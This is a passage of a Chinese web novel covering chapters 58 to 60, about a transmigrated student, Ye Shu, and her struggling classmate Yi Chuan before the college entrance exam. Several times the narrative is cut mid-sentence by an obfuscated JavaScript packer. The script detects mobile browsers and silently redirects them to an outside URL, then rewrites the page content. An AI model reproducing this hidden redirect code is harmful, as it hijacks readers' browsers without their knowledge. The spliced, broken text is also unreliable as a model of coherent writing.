RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984047|141763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上课吧”便头也不回地回了自己教室。 望着着他的背影，叶舒有些担心，从刚刚的对话大概猜测，易川约莫是在高考的巨大压力下焦虑了。 “叶舒，你进来不？”坐门口旁的同学搓着手向外面呆站着的叶舒喊。 明月不知何时已出现在深紫色的天幕中，现下是深冬，夜间风大寒冷，每到晚自习便要将门关得严严实实，避免一丝寒风吹进室内。 寒风吹过，叶舒打了个寒颤，默默将自己的手缩回白色加绒外套里。 “来了。” - 冬日，寒假。 晴日下午，午后阳光透过淡色窗帘落在书桌的书页上。 叶舒坐在书桌前写作业。 门外又传来父母对话的声音。 叶舒无奈合上眼帘：别...... 门外的二人一来一回，语气越来越不善，父亲为震慑，语调升高，两人又开始了新一轮争吵。 叶舒赶紧出了房间，站在两人中间试图拉架。 却不想，两人都在气头上，三人扭作一团，推搡在一起。 “够了！够了！不要吵了！”叶舒红着眼大叫着，却无人理会她的声音。 男女力量悬殊，但叶舒还是奋力一搏，一边抵住父亲，一边推开母亲，嘶哑地尖叫，妄图唤醒两人的理智：“不许吵了！！！你们干什么！！到底要怎么样！” 终于，吵架的两人大抵是觉得吵下去也没完，也不愿再看见对方，就此打住。 叶舒父亲阴沉着脸坐回沙发上，叶舒母亲则进了房间，不愿再看见某人恶心的脸色。 叶舒见状正欲回房间，便听见大门处响起了门铃声。 她走向玄关，打开大门，眼前便出现了叶珩的脸。 他对上叶舒的视线，神情有些紧张。 他平时脸上总带着阳光开朗的笑意，如今这副模样，估摸着刚刚听见了家里的争吵声。 叶舒垂下眼睑，“进来吧。” 叶珩进了门，轻车熟路地脱了鞋，又换了副面孔，笑着向叶舒父亲叫了声好：“叔叔。” 叶舒父亲沉沉地嗯了一声，搭腔道：“找叶舒啊。” 他神态平静，丝毫看不出刚与人吵架的怒意。 “对，我找她一起去学习。她成绩好，我可以问她问题。”叶珩回答。 叶舒父亲看了眼叶舒，又看回叶珩，点了点头：“去吧，早点回来。” 说罢，他便从沙发上起身，去往玄关，换鞋出了门。 叶舒听着关门的声音，这才舒了口气，收拾书本准备出门。 叶珩止住她收拾东西的手，神秘一笑：“不用带书。” 叶舒：？ 向母亲道别后，叶舒随着叶珩离开了那压抑的屋子。 出了门，叶舒一眼望见站在电梯口前的易川。 她错愕了一瞬，不禁问道：“你把他叫来了？” “是。”叶珩似乎很满意她的反应，笑容渐深，随即他俯身靠向叶舒耳边，悄声道，“他最近状态不行，我带他出来走走。” 叶舒皱眉，有些嫌弃他这种自作主张的行为，但还是好奇问道：“他状态不好？” 叶珩：“是啊，期末那段时间就不太对劲。整天魂不守舍的，球也不打，但也不见他学习。晚自习在睡觉或者发呆。前几天我和他出门，随口问了他期末考得怎么样，他说年排掉了一百多名。” “一百多名？！”叶舒惊讶。 虽说期末联考确实有难度，但按照易川原来的成绩，怎么会突然起伏那么大？ 听叶珩这么一说，叶舒就联想到一月前期末复习那段时间，易川古怪的情绪与话语。 二人走近易川后，皆会心地没再提这事。 叶舒向易川微微弯唇，以示问好，随后便注意到易川看着自己的目光略含深意。 她欲开口询问，易川便像个没事人一眼移开了视线，似是有些躲闪。 58. 尴尬 叶舒想起刚刚家里的情形，以她父母的嗓门，易川大概是听见了。 又是这么尴尬的时刻被他遇上...... 反正也不是第一次了，而且他窘迫的时候自己也撞见过。 这样想着，叶舒心中舒坦了不少，像无事人一样冲易川开玩笑道：“你来得真不是时候。” 闻言，易川果然抬眼，面露疑惑。 叶舒朝自己家的方向努了努嘴：“撞见这事，挺尴尬吧？” 易川眉心动了动，不自然地回复着：“我没听见什么。” 叶舒不禁想笑，他还是一如既往地不擅撒谎。 叶珩大概是以为叶舒尴尬，适时打圆场：吵架很正常，我父母不也经常当着你爸妈面吵架。” 叶舒没说什么，只是弯了弯唇，电梯门恰好打开，她正欲伸手摁下按钮维持开门的状态，结果被另一只手眼疾手快地抢先。 易川的手。 他的手很好认，男生中少见的白皙，青筋和血管明显。 叶舒抬眼，映入眼帘的便是易川清晰的下颌线条。 他是不是瘦了？ 刚过完年，春节期间伙食不错，大家或多或少都长了些“冬膘”。就连体重一向稳定的叶舒，也圆润了，气色比之前在学校里好了不少。 而易川，不见胖反倒还瘦了，从未长过黑眼圈的人如今眼下也有了两团淡淡的乌青。 叶舒正疑惑，便听见易川语气闲散道：“我出门时也和我爸吵了一架。” 他走进电梯，摁了一楼，神色平静地看着电梯里一排排的楼层按钮，没有与另外两位眼神交流的意思。 叶舒和叶珩交换了个眼神。 他这句话显然是在安慰叶舒，可他闭口不言的模样，一时之间反倒叫人不知道该不该问下去。 “怎么了？”叶舒问。 易川沉默了片刻，才故作无谓说：“没什么，无非就是说成绩的事。” 叶舒回想起多年前梦境中初中时的易川与父母争执的场面，心下了然，怕多问让人不悦，一时无话。 叶珩还在说：“我也是，然后给我报了补习班，后天又要去上......” ...... 年假期间，商城也格外热闹，各处传来小孩子嬉笑的声音。玻璃窗外，不时有小孩们打闹着经过。 叶舒从窗边收回眼，看回面前的餐点和男生。 现下不在饭点，三人一时找不到位置，便跑来图书店内的小咖啡厅坐着。 叶珩咖啡因不耐受，还硬要逞强点咖啡，喝了几口便跑厕所，独留她与易川在这面面相觑。 倒也没面面相觑，易川找了本书安静地看着，像是刻意不想与她对话。 叶舒悄悄抬眼，暖光灯落在他们的桌上，以及易川的头上。 碎光从他的发缝处落下，落在高挺的鼻梁和银色镜框的眼镜上，而镜片又将碎光反射成点点光点，滴落在叶舒面前的桌上。 少年镜片下的眉眼深邃，睫毛浓密，在脸上落下两痕阴影。瘦了的易川五官更显锋利，此时的他正投入着看书，唇线平直，眼神淡漠，整个人散发着一股疏离的气息。 不知怎的，叶舒觉得这次见面他对自己的态度很奇怪，像是刻意再保持距离。 还是说，只是因为他今天心情差？ 唉，这个年纪的男生真的很难懂...... “你有事吗？” 大概是她探究的目光太赤裸，面前的男生忽然开了口。 易川轻掀眼皮，从书里抬头，“有话想问？” “我——” “想问我和我爸为什么吵架？” “不是……” “问期末成绩？” 他直勾勾地盯着叶舒，眼底情绪意味不明，倒叫叶舒有些莫名其妙，不知如何回应。 叶舒：“这个……” 没等叶舒说话，易川便回答她。 “退了一百多名。” 他语气冷淡，像是不想聊这个话题，让叶舒平白生起了一丝愧疚。 叶舒：“我没想问你这些……” 闻言，他眼睑微抬，嘴角略微上扬，有些兴味：“我以为你挺想知道的。” “毕竟你总是表现得挺在乎我成绩的，以前总问。” 叶舒不自然地摸了摸鼻梁，没接话。 “你好像并不惊讶我退步了。” “成绩波动实属正常，没什么好惊讶的。” “是叶珩和你提过吧。”易川直接道。 叶舒：“……是提过一嘴。” 莫名地，叶舒觉得易川今天和吃了枪药一样，大抵是因为他在家和父亲吵了架，一时半会儿没调节好。 叶舒是过来人，能理解，便懒得计较易川语气里的刺。 怕他误会，叶舒继而解释：“我本来也没想问你这些。” 易川：“那你刚看着我那么久不说话，是干什么？” 叶舒：“发呆。” 易川：“……” 叶舒见易川嘴角动了动，然后他便继续低头看着自己的书。 叶舒受不了这窒息的氛围，伸手拿起叶珩的游戏机，打算找点事做缓解尴尬。 “叶舒。” 易川喊她。 叶舒停下手中的动作看向他。 “你说，如果你没考上长菁大学，你会怎么样？” 他语气认真，一时感染到了叶舒，正襟危坐起来。 虽然叶舒本就考上了长菁，但现下在这个世界还未高考，她也不能这么笃定回答易川。 “还没高考，我也不一定就能考上。” “别谦虚了。”易川嘲弄地弯了弯嘴角，随后放下了手中书，盯着她，“我就想知道你怎么想的，你回答我刚刚的问题就好。” 叶舒微微皱眉，几乎没有思考便说：“不会怎么样，应该稍微可惜一下吧。” 她说完，视线与易川的交汇，他正面无表情地看着她，似乎在思忖她这话的含义。 叶舒心下奇怪，正欲开口问询，他便别开眼，换了个问题。 “那我换个问题。如果我没考上好大学，或者没考上——” 他合上厚厚的书，书本落在书桌上发出闷响。 “你觉得那时候，怎么办？” 男生一瞬不瞬地看着她的眼睛，似乎很期待自己的答案。 “你的成绩，不会考不上的……”叶舒下意识说。 “我说假设。” 少年注视着她，镜片下的眼眸漆黑浓郁，像化不开的墨，影影绰绰地倒映着叶舒的身影。 虽说叶舒觉得这问题不该问她，且没有意义，只会徒增烦恼。不过转念一想，临近高考的学生心理压力大，不时便会有这样的想法和烦恼，需要与人倾诉调节，自己当年也是这么过来的。 想到这，叶舒开口：“和我刚刚的答案一样，不会怎么样。不过，我会为你感到可惜。” “如果我没考上，”易川依旧固执地问，“不是失败吗？” “怎么会呢？”叶舒冲他粲然一笑，“其实这个世界的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13996792|141763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容错率很高的，很多东西没你想的那么可怕。” 易川沉吟良久，久到叶舒以为他不打算在说话时，他再度开口： “你这话，是真心话，还是宽慰我的？” “......？” 叶舒凝视着他，少年眉眼间平静无波，只是叶舒莫名觉得，那眼眸深邃得如同深不见底的洞，翻涌着混沌的暗潮。 莫名地，叶舒没来由起了一阵心虚。 总有种被看穿的感觉，甚至有种如果她骗他会死得很惨的错觉...... 叶舒：“宽慰的话不能是真心话吗？” 易川：“因为你很会骗人。” 叶舒：“啊？” “你很会说善意的谎言安慰人。” 叶舒：“......” 这都给他看出来了...... 他不会觉得她这些话都是哄他玩的吧？ 虽说是“鸡汤”，但叶舒扪心自问，她对易川说的这些话，确实发自肺腑。 这几年易川的努力她都看在眼里，她希望易川好。 但若真是最差的情况，叶舒也问心无愧，无怨无悔了。 不过是陪着他再来一次，想到这种可能，叶舒发现自己并不排斥。 只是不知道，再来一次，那时的易川还会是眼前的易川吗？ 一股说不清的感伤从胸口出细细密密地渗出来，叶舒垂眸，有些恍惚。 “怎么不说话，真是诓我的？” 易川的声音将她的思绪拉回来。 叶舒不知道为什么今天易川怎么固执，像是定要求一个什么答案。 “这么不信我？我在你心里，就是这样的人？”叶舒有些不满地说。 “只要你说是真心话，我就信。” 叶舒看向眼前人，周围的喧嚣声似是渐渐远去，仿佛整个世界只剩下她与易川。 少年眼神中流露出罕见的认真，头顶的暖光将他的眼睛照得分外明晰。 “当然是真心话。” 叶舒说。 不论目的，这些都是叶舒想对易川说的真心话。 闻言，易川垂下眼睑，没再说话，神情有一瞬复杂，温和却又好像有些悲伤，转瞬即逝，快到叶舒以为是自己出现了错觉。 见状，她把游戏机塞他手里：“行了，别想太多，出来一趟就放松一会。” 易川接过，将手柄拆下，递了一支给叶舒。 叶舒：“怎么了？” 易川：“玩会儿。” 秉承着攻略者安慰人“尽职尽责”的原则，叶舒硬着头皮与他玩了一盘游戏。 ...... Youdie. 屏幕上黑屏显示出两人的倒影。 易川微微侧头，语气有些嫌弃：“没想到你还挺菜。” “……”叶舒鼓了鼓腮帮，用力摁下重新开始键，无奈忍下这口气。 …… 叶珩回来的时候，易川的手机正好响了。 易川看着手机屏幕，眉心微动，随后出了书店接起电话。 不多时，他回来了，表情略显沉重。 叶珩问：“怎么了，你爸妈催你回家？” 易川摇了摇头，托了托鼻梁上的眼镜，“我爸刚好在这附近，想着载我回家。” “这就回去？”叶珩颇为可惜道，“都还没一起吃饭，才刚出来。” “不是。”易川掩唇轻咳，“他打算请我们一起吃饭，你们方便吗？” 叶舒&叶珩：啊？ 59. 饭局 没想到事情如此走向，叶珩惊讶道：“啊？！这......多不好意思。” 叶珩瞧了叶舒一眼，叶舒眉头轻锁，似是有些抗拒。 易川似乎并不排斥，无所谓地说：“反正今天本来也打算在外面吃，有人请客，何乐而不为？” 叶珩看向叶舒，他倒是不介意，毕竟本来也打算在外面吃饭。 叶舒纠结了一会儿，问叶珩的意见：“你可以吗？” 叶珩摊手：“我当然都行。” 既然两人都这么说，叶舒也不好说什么，况且自己若半道回家也怪扫兴的，便应下：“那......就谢谢叔叔了。” “他人还不在这，你谢给谁听。” 易川这话虽是调侃，但面色冷淡，让人看着不快。 叶舒不惯着他，回怼说：“那不然谢你啊？” 叶珩视线在两人间徘徊，心中疑惑着：这两人怎么一个假期不见，又别扭起来了？ - 冬日的天黑得快，玻璃窗外，静海市被淡淡的墨紫色笼罩。 六点多，易川的父亲到了餐厅。 相比于叶舒最后一次在回忆碎片见到的易川父亲，他没什么大的变化，只是眉眼间多了些许疲态。 叶舒起身向他问好：“叔叔好。” 易川父亲见到叶舒，面色微怔，眼中浮现出一丝疑惑，但很快扬起和气的笑容：“你好，坐吧。” 易川父亲招呼几人点餐，很是热情。 点完餐后，易川父亲看着叶舒，寒暄道：“你叫什么名字？” 叶舒：“我叫叶舒，是易川的高中同学。” 易川坐在易川父亲身边，叶舒与叶珩则是坐在两人对面。 易川父亲目光在叶舒与叶珩之间徘徊，打量着两人，叶舒见状，暗感不妙。 果然，下一秒，易川父亲含蓄地问道：“你们俩是什么关系？” 话音刚落，叶舒正要解释，叶珩便先行开口：“我们是堂兄妹，一起在静海高中读书。” 易川父亲恍然，笑了笑：“那很好啊，同在一个学校，互相有个照应。” 叶舒局促地陪笑，瞧了一眼身旁的叶珩，他也凑巧瞄着她，悄悄眨了眨眼。 虽说给他站了“辈分”上的便宜，但这样点到为止的解释也够了。 吃饭时，叶珩非常健谈，与易川父亲聊得有来有回，叶舒则震惊地看着两人谈天阔地，自己则是被动地问一句答一句。 易川更甚，一句话不说，沉默地夹着菜，看起来兴致缺缺。 叶舒望着他，陷入沉思。 “叶舒。” 叶舒回神，易川父亲正看着她，漆黑的眼仁里像是一汪深不见底的海，他笑容温和，叶舒却莫名胆寒。 叶舒微微一笑：“叔叔？” “你和易川是怎么认识的，同班同学吗？” “我没听过易川说在学校和哪个女同学关系好，所以今天见到你们还挺惊讶的。” 易川父亲嘴角弯成和善的弧度，但这话听着别有深意，所以这笑容反倒让叶舒感到一股没来由的压迫感。 这话像是怀疑她与易川之间的关系。 叶舒正要回话，便听见易川的声音。 “以前是，现在不是了。” 叶舒微愣。 似是没想到易川会出声，易川父亲愣住，侧头看向易川，疑惑的视线在两人间徘徊。 见状，叶舒垂眸，不敢再看男人的脸。 这下误会大了...... 易川注意到了父亲打量的目光，靠向椅背，唇角微挑，略带不屑和轻蔑，“人家早就是重点班的了，年级第一，怎么会跟我一个班。” 听到这话，易川父亲原先的笑容消失，凝眉冷漠地看着易川，大概是因为有外人在，男人迟迟没吭声。 叶舒看着各自“心怀鬼胎”的两人。面前的场景，就像是回忆碎片中画面再次浮现在叶舒眼前。 叶珩察言观色，嘴快道：“是啊叔叔，我这妹妹成绩特别好，稳坐年级第一，我们有什么学习上的问题都问她！” 听见这话，叶舒忙冲易川父亲谦虚一笑，手则偷偷伸向叶珩的小臂，狠狠地捏了一把。 叶舒：谁是你妹妹？ 闻言，易川父亲眉头舒展，脸上又堆起了温煦的笑容：“这么厉害！真好啊，我们家易川要是像你一样就好了——那易川有没有找你问问题啊？” 没想到男人忽然问这个，叶舒愣了一瞬，随即点头：“当然有的，叔叔。” 叶珩：“她很乐于助人的，我们经常找她，成绩都提高了。” “是吗。”易川父亲微微颔首，随后看了看身旁的易川，“我听说，他这次期末成绩还下降了。” “高三压力大，成绩起起伏伏很正常。他上一次年排进步很多，这次波动一点也很正常。而且这次题目难，分数确实不好看。” 叶舒帮易川说话，下意识地瞥了他一眼，便撞上易川那双晦暗漆黑的眸子。 他靠着椅背，长腿交叠，唇线抿直，看不出他在琢磨什么。 叶舒：我，应该没说错话吧...... 见叶舒这样易川父亲笑了笑，笑声爽朗，转头对易川语重心长道：“多向人家学习，有问题虚心请教别人，别每天板着个脸......” 易川听罢，唇角漾起一丝弧度，抬眼看向叶舒，脸上浮现出一抹戏谑。 他注视着叶舒，薄唇轻启： “好啊。” “就是得辛苦叶舒同学了。” “......” 叶舒没来由地起了一层鸡皮疙瘩。 叶珩：“她不辛苦，她‘好为人师’。” 叶舒：“......” - 饭后，三人分道扬镳。 车窗外，静海市的夜景幻化成无数缤纷的色块呼啸闪过，落在易川眼眸中，只剩下忽明忽暗的光点。 易川托腮看着窗外的夜景，路边一排的白炽灯光落了他半身，半晌，他阖眼小憩。 “今天吃饭的女孩子，和你是什么关系？”易川父亲忽然问他。 易川眼皮没抬，沉声片刻，回：“同学。” 须臾，他加了一句：“反正不是你想的那种关系。” 易川父亲眼尾扫了他一眼，很快收回眼，轻笑一声：“那女孩子挺好的，她是不是喜欢你？” “......” 易川懒得回这种问题，侧头看向窗外的景色。 父亲还在耳边说着话，简言之，就是表示易川可以与叶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14007088|141763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舒多相处，向学习人家，只是话里话外都带着些许暧昧之意。 “你觉得人家那样的，会喜欢你儿子这样的？” 易川开口，语气嘲讽。 “感情这种事，说不准。你们这个年纪，男女间悸动也很正常。”易川父亲没理解易川话里的意思，笑着打趣道。 易川哼笑一声：“人家成绩好。而且你觉得她像缺人喜欢的样子吗，又凭什么瞧得上我？” 易川父亲终于听出易川的鄙夷语气，易川父亲的笑容僵在脸上。 他的话像把双刃剑，刺到了易川父亲，也扎在了他身上，气氛骤然变得沉重。 “如果我今天不说她是重点班的，她是年级第一，你是不是要误会我们关系，然后说我‘早恋’，早我别和人家来往。” 易川话语里带着毫不掩饰的讽刺，将男人今日可笑的态度与伪装划破。 “你怎么说话的？你是这样跟家长说话的吗？”易川父亲压着怒气，握着方向盘的手青筋暴起，“难道你这个成绩，还好意思早恋吗？你的朋友们都这么优秀，你难道不害臊吗？” 易川仿佛听到了什么好笑的事，笑了一下，嘴角弧度轻蔑至极。 他扭过头，不再吭声，不愿继续纠缠下去。 易川父亲听见了他那声微不可察的轻蔑笑声，怒喝道：“你硬气什么？觉得自己不是倒数，说话都硬气了是吧。若我当年不帮你上静海高中，你以为你会有现在成绩吗？你下车，自己滚回去！” “下就下。” 车正巧开到了红灯的十字路口，易川开了车门，又利索地关上。 “你——易川！！” 不顾身后父亲的怒吼，易川快步离开，融入人群中。 身后传来几声鸣笛声，大概是催促父亲的车。 须臾，鸣笛声消失，只剩下呼啸的车子轰鸣声渐远。 易川一直走，没停下，也没看地图，便这么漫无目的地走着，走到了一片树荫下。 冬日的夜晚，夜风萧瑟，月光冷寂，四下路人蜷缩在厚实的衣物中行色匆匆，赶往回家的路。 树木阴影挡住了月光，昏暗中，易川逐渐找回意识，掏出手机。 他不想那么快回家，便不打算打车，查找最近的地铁站。 叮。 手机界面弹出一则消息。 叶舒：【到家了吗？】 易川看着消息界面的名字，岿然不动，直至弹出的消息界面消失。 他点看地图APP，消息界面再次弹出一则消息。 依旧是叶舒发来的。 叶舒：【既来之则安之，尽人事听天命，别再多想了。】 易川唇角挑过一丝轻嘲。 她还真是锲而不舍。 叮。 叶舒：【我今天说的都是真心话，现在的也是。】 【真的。】 易川点开微信，盯着这两则信息良久。 耳边不时有汽车呼啸而过的声音，少许人声消融在这呼啸声中。经过的车辆的路灯扫过他，光芒闪过，瞬间又移开。 手机屏幕的亮光渐暗，易川终于动作，摁灭了手机屏幕。 “都愿意做到这份上，” “只好信你了。” 他自言自语道。 60. 告白 静海市是沿海城市，冬日短暂，不知不觉间，整个二月就此翻篇，早春沓来，开启了高中的最后一个学期。 静海高中教学楼天井中的树枝出现了抽芽的痕迹，教学楼的对面栏杆处，拉了一条红色横幅——今日寒窗苦读，必定有我；明朝独占鳌头，舍我其谁？ 距离高考还有一百天。 课间，高一10班的讲台前，两名女生站定在黑板前。 叶舒看着黑板上老师的步骤板书核对自己的笔记，凌熙则是看着黑板一角变成100的高考倒计时。 凌熙自顾自地摇了摇头，故作伤感地叹了口气：“这么快就一百天了，本以为一百天的时候我会很紧张，没想到真一百天的时候，我倒没什么感觉了。” 叶舒起身，扬了扬唇角：“确实，不还有三个月。” 凌熙：“你心态真好。” 叶舒莞尔：“好心态决定女人的一生。” ...... 按照惯例，高考倒计时一百天时，学校会开展百日誓师活动。 除了统一的年级动员大会，其余皆由本班自行负责。 叶舒班级则是由家长们动员，给每位同学送了一朵寓意极好的向日葵。 早春，白天的时间短暂，晚修前，天色便逐渐暗下。 叶舒捧着向日葵，找着合适的瓶子试图养起这花。 迎面遇上从宿舍回来的叶珩，他刚洗完澡，浑身散发着清爽的少年气息。 他拦下叶舒的动作间，发梢未干的水滴落到叶舒身上：“你这向日葵也太大了吧，比你的脸还大。” 叶舒嫌弃地移开头，“水滴到我了。” 她轻车熟路底往9班教室内望去，熟悉的位置上并未见到人。 叶舒：“易川和王朗呢？” “王朗回家了，家里有事。易川啊——”叶珩故作姿态重复了一遍，忽然神神秘秘地凑近叶舒，“他最近被老师盯上了，作业没写给抓到了，给老师叫去办公室‘补课’去了。” “哪个老师？” “哪个老师都有，今天是化学作业没做，昨天是生物，像说好似的。”叶珩甩了甩半干的头发，“估计是作业太多了，没写完，我昨天就没写完数学。” 叶舒点了点头。 倒是能理解，临近高考，时间紧任务重，一个老师布置一点作业，六科就不止一点了。 只是这样下去，易川会不会产生“厌学”心理？ 叶舒将水倒进剪开的矿泉水瓶中，随后递给叶珩：“帮我给易川吧。” 叶珩秀眉微挑，笑得吊儿郎当的：“为什么？” “让他开心点。” 闻言，叶珩脸上不免浮现出戏谑的神色，“那你不能厚此薄彼吧。” 叶舒懒得搭理他：“只有一束，等你什么时候也被老师叫去问话了我也送你。” 叶珩扫了扫向日葵花的花瓣，拖长音调道：“向日葵的话语是沉默的爱，你送这——” 他没继续说，别有深意。 叶舒白了他一眼，甚至懒得再回应，转身回了自己教室。 向日葵的花语不仅有沉默的爱。 还有信念与希望。 ...... 距离晚修下课还有半小时。 咔—— 一阵声响后，原本灯火通明的教室顿时陷入黑暗。 黑暗的空间里，一片哗然。 学生们骚动起来，往外望去，发现整个教学楼都陷入了黑暗。 “停电了？” “停电了！！哦耶！！————” 仅是片刻，高三教学楼便开始传出此起彼伏的叫喊声。 大抵是压抑太久了，这忽如其来的“变故”使各位同学找到了情绪泄口，发出一阵阵像是电影中兴奋的人猿的怪叫声。 “不学咯！！不学咯！！！” 即使是高三复习里只顾闷头学习的几名学生，也举着手臂，蹦跳着出了教室。 即使在昏暗的光线下，也能勾勒出一张张熟悉的笑脸。 叶舒在黑暗中顺着人流走出教室。 咻—— 一道流光划过漆黑的夜空。 砰！—— 须臾，消失的流光绽放，变成一束绚烂的花火。 叶舒循声望去，瞬间，眼底被天边盛放的烟花占据。 砰砰！！！ 原本一束花火瞬间化作几束向外眼神绽开，点亮夜空，也点亮了学生们的脸。 中间再次绽放出一朵灿烈火红的花簇，逐渐演变成“高考加油”四个大字。 本以为下午的大会就已是百日誓师的全部，但众人没想到，原来今年百日誓师的大礼竟是这么壮观的烟花！ “静高NB！” “我爱你静海高中！” 虽说是绽放一瞬的烟火，但至少，这花火破除了近日的沉闷与压力，众人皆切实地洋溢在这片刻的欢愉中。 这欢欣时刻，叶舒向隔壁班望去，栏杆外没有看见熟悉的面孔。 奇怪。 叶舒走近了一些，注意到人群中间似有叶珩的身影。 她正欲开口叫唤，倏忽，手腕处传来一阵暖意。 身后有人拉上了她的手腕。 叶舒：“......？” 叶舒向后看去，昏暗中，一名男生牵着她的手，避开攒动的人群，往走廊深处走去。 叶舒怔怔地看着熟悉的背影，那个名字脱口而出—— “易川......？” 少年身形微顿，但没有回身，也没有停下脚步。 身后的烟火还在持续绽放，学校广播站开始响起振奋人心的音乐声，大概是要开始活动表演了。 叶舒不知道易川要带她去哪，只是安静地跟着他。 两人避开人群，上了楼梯，如今学生们都在外面，无人在楼道里走动，楼道里寂静昏暗，只有两人的呼吸声和脚步声隐约回响。 易川带着叶舒上到了教学楼的最高层，走到了正对着烟花和节目表演的对面连廊。 栏杆只零星趴着几名学生，成双成对，易川与叶舒到来无非是加多一对。 叶舒往远处眺望，各楼的人影在忽明忽暗的光影下影影绰绰，人群聚集，齐齐望着绚烂的烟花。 对面二楼连廊处站着一排学生，是学生会为高三生准备的活动节目，每位学生手拿两个大型荧光棒挥舞出绚丽的光圈，离远了看，就像五彩缤纷的大型星球。 叶舒看向身边的易川。 两人之间的距离很近，晚风从身边吹过，将两人的发丝缠绕在一起。 易川俯身望着对面，升起的烟火与晃动的荧光棒在他眼中流动，明灭陆离。 “你......” 叶舒本想开口问他何时回来的，却想起他应当才从老师办公室回来，八成不想再提这事，于是又将话硬生生咽了回去。 易川听到了她的声音，目光移向她。 “想说什么？” “......” “我为什么带你来这？” 叶舒确也好奇，便顺着他的话点了点头。 “看你挤不进人堆，带你来这，看得仔细些。” 叶舒仰头看他，发现易川也在看自己，不知是否是在流光的映亮下，易川的眸色变得璀璨如星。 早春的夜，风还有些寒凉，将易川额前的发吹得飞扬，远处渐次明暗的光描摹着他好看的眉眼，在这样的场景下，易川的目光竟罕见的显得温柔。 随着表演的深入，音乐声的鼓点也渐重，耳边学生们的欢呼声也逐渐变大，变成有规律的呐喊与吟唱。 氛围热烈，带着些许暧昧。 咚，咚。 一时之间，分不出是乐鼓声还是心跳声。 叶舒移开目光，看着对面的表演眨了眨眼睛，企图让自己平静下来。 耳边再次传来易川的声音。 “向日葵，我看到了。” “噢......看到就好。”一时不知道说什么，叶舒随口附和道。 “你不喜欢向日葵？” “啊？不是。”叶舒不自然地皱了皱鼻子，漆黑的环境下掩饰了她这一举动，“我是觉得寓意挺好的。” “那你给了我，你怎么办？”易川低沉的声音带着些许轻快，混合着一丝浅浅的笑音。 叶舒：“我们班还有。” 易川：“你怎么没给叶珩一份。” 怎么忽然提他。 叶舒有些不耐烦了，胡乱找了个借口：“他本来也不喜欢这些花花草草，他若真想要，我去我们班再找一朵给他。” “是吗。”易川淡淡地应了声。 陷入了短暂的沉默。 这样的场景，似乎之前也有过。 高一的寒假，她与易川似乎也是这样，静静地伫立着，看完了一场烟花。 叶舒偷瞄了身边人一眼，正好与易川的目光相接，他没有望着楼下，而是静静地望着叶舒。 叶舒移开目光，望向远处，随后发现远处趴在栏杆上的一男一女趁着四下漆黑，竟旁若无人地开始“咬耳朵”。 “！！” 叶舒瞪大了眼睛。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019912|141763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 见叶舒表情不自然，易川顺着叶舒目光看去，正欲侧身回望，叶舒立即捉住了易川的袖子。 易川动作顿住，疑惑地看向她。 “你觉不觉得现在的情况有点像之前我们高一过年的时候？” 叶舒没话找话，总觉得现下这氛围怪异得很，像是心头窜上了几只蚂蚁在爬，令人不自在。 易川沉吟片刻，“是有点。” “是啊，”叶舒看着随着激励人心的音乐声吟唱的学生们，逐渐弯起嘴角，“时间过得真快。” 身边的人沉默了一会，“还有三个多月。” “是。” 还有三个月。 还有三个月就高考了，就能检验她这三年的验收成果了。 以易川现在的成绩，如果没有意外的话，那叶舒回到原世界，便是指日可待。 只是，虽已是既定的事实了，为何想到不久远的将来心里却有些茫然，像是鸿毛漂浮在一片死寂的海，上不到岸，沉不到底，空落飘忽。 周围的空气忽然就变得寒冷，连气氛也变得低迷。 叶舒垂眸，握紧冰凉的栏杆。 像是想打破这低迷的氛围，易川忽然问她：“高考完后，你打算做什么？” 叶舒愣住了，自己似乎从未想过这个问题。 凌熙时常在耳边说考完要做什么，也问过叶舒有什么打算，可每次叶舒皆是一笑而过。 从前自己高考后也是做了许多曾没做过的事，只是重来一回，叶舒反而也不知道做什么了，似是失去了对这些的热情。 况且，高考完后，自己的任务也要走向尾声，又何谈做什么。 说不定，哪一日她便忽然离开这了，在这个世界上消失。 然后，再也见不到这些十几岁的人。 想到这，叶舒扯了个微笑，试图将这感伤硬生生抽离出脑中：“还没什么打算，到时候再看吧。” “你要是有想去的地方，也可以约我去。”叶舒玩笑道，“我都有空。” 叶舒侧头看向易川，他正注视着自己，面无表情，远处渐亮的光线打亮了他的眉眼。叶舒这才发现，他眸色深沉，神情有些沉重，眼底闪烁着一抹难以名状的情绪。 叶舒嘴张了张，刚想问他怎么了，便听见眼前的人开口说： “叶舒。” 